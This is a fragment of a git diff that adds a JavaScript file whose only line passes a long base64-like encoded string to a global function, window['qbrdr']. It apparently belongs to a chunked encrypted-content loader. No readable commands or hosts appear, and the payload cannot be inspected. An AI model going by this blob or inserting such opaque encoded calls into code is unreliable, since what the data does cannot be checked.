gsO8LaCfqZ8NLXwbdqQDwoNSvZFdDoT/ddwWDcNYpPgQ2WDHJBwe9UDETGVjcz/4bPRcTKmWGNDxnocljC91NFOFpO9IESicvo9Ypsau4TK69ZLWvGfe1DQtVS37S1vUjrB30wMAYmbre0soKfbpFtj+tUl209HAmvTCnjuJQV/bWWS0eSi0obCev/QUiuSsSbBfsy/B12h/1AVQ94meAMS52j2PPOvZCpJ0X152ZgjJ15pbgDHn0ybOUa9LVf4xwm/+MItYdJL+mQ4N8DtNrytZiFw61JwoqndnEH6qyE1wTr"); \ No newline at end of file diff --git a/38af3c8ba461079a0edc83585023f76843066dcf.js b/38af3c8ba461079a0edc83585023f76843066dcf.js new file mode 100644 index 0000000..ffbda23 --- /dev/null +++ b/38af3c8ba461079a0edc83585023f76843066dcf.js @@ -0,0 +1 @@ +window["qbrdr"]("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